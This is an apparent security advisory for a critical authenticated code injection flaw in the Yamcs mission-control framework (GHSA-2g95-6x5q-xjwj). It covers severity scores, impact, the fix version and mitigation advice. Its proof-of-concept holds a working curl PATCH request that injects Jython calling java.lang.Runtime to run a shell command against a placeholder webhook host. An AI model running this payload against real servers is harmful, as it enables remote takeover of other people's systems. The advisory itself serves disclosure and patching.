Yamcs Vulnerable to Authenticated Remote Code Execution (RCE) via Jython Algorithm Code InjectionGHSA-2g95-6x5q-xjwj
CRITICALGHSA-2g95-6x5q-xjwj is a critical-severity (CVSS 9.1) Code Injection vulnerability in org.yamcs:yamcs-core. A fix is available for org.yamcs:yamcs-core — see the affected versions and patch details below.
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-2g95-6x5q-xjwj.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
GHSA-2g95-6x5q-xjwj by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 384,534 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
org.yamcs:yamcs-coreReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A Server-Side Code Injection vulnerability exists in the Yamcs script evaluation engine for Python algorithms. The application dynamically compiles and evaluates user-controlled algorithm text using Jython (via the JSR-223 ScriptEngine API) without enforcing a secure sandbox. An authenticated user with the ChangeMissionDatabase privilege can exploit this by overriding the algorithm logic through the REST API, achieving Remote Code Execution (RCE) on the underlying host operating system.
Details
The vulnerability lies in how Yamcs handles dynamic script evaluation. When a user updates an algorithm via the MDB (Mission Database) API (/api/mdb/{instance}/realtime/algorithms/{name}), the AlgorithmManager uses the ScriptAlgorithmExecutorFactory to instantiate a JSR-223 ScriptEngine (in this case, Jython/Python).
Because Jython allows seamless interoperability with native Java classes, an attacker can import and execute arbitrary Java classes such as java.lang.Runtime. Any valid Python algorithm can be overwritten with a malicious payload that executes OS-level commands.
PoC
Prerequisites:
- A running Yamcs instance with the Jython engine available in its classpath (e.g.,
jython-standalonedependency included). - An active authentication token for a user with the
SystemPrivilege.ChangeMissionDatabaseprivilege. - An existing algorithm defined in the Mission Database (MDB) with its language explicitly set to
python(e.g., a custompocalgorithm). Note: Yamcs prevents changing the underlying language engine of an algorithm via the API, so an existing Python algorithm must be targeted.
Exploitation Steps:
-
Send an authenticated HTTP PATCH request to the MDB API endpoint to inject the malicious Jython code into the existing Python algorithm. The payload leverages
java.lang.Runtimeto execute an OS command (e.g., triggering an external webhook or a reverse shell).curl -i -X PATCH http://<YAMCS-SERVER-IP>:8090/api/mdb/myproject/realtime/algorithms/myproject/poc \ -H 'Content-Type: application/json' \ -H 'Authorization: Bearer <YOUR_AUTH_TOKEN>' \ -d '{ "action": "SET", "algorithm": { "text": "import java.lang.Runtime\njava.lang.Runtime.getRuntime().exec([\"bash\", \"-c\", \"curl https://<YOUR-WEBHOOK-URL>/RCE\"])\nout0.value = 1.0" } }'(Note: Assigning a valid output like
out0.value = 1.0ensures the algorithm returns the expected data type to the Yamcs internal processor, preventing crash loops and ensuring clean execution). -
Trigger the algorithm evaluation by sending telemetry data that the algorithm depends on (e.g., running the
simulator.pyscript to update the required parameters likeSunsensor). -
The Yamcs server compiles the injected text into an executable script on the fly.
-
Verify that the OS command executed successfully on the host machine by checking the incoming HTTP request on the provided webhook URL.
Impact
It impacts any Yamcs deployment where users are granted the ChangeMissionDatabase privilege and a scripting engine (like Jython) is present in the classpath. An attacker can leverage this to escalate application-level configuration privileges to full System/OS control, leading to arbitrary command execution, data exfiltration, and potential lateral movement within the hosting infrastructure.
Credits
Discovered & reported by Pablo Picurelli Ortiz (@superpegaso2703), cybersecurity student at Universidad Rey Juan Carlos.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.yamcs:yamcs-core | all versions | 5.12.7org.yamcs:yamcs-core:5.12.7 |
Affected Products
yamcsspaceapplicationsDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.yamcs:yamcs-core, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.yamcs:yamcs-core to 5.12.7 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-2g95-6x5q-xjwj is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.
Frequently Asked Questions
Is GHSA-2g95-6x5q-xjwj in your dependencies?
Find it across Maven, including transitive dependencies.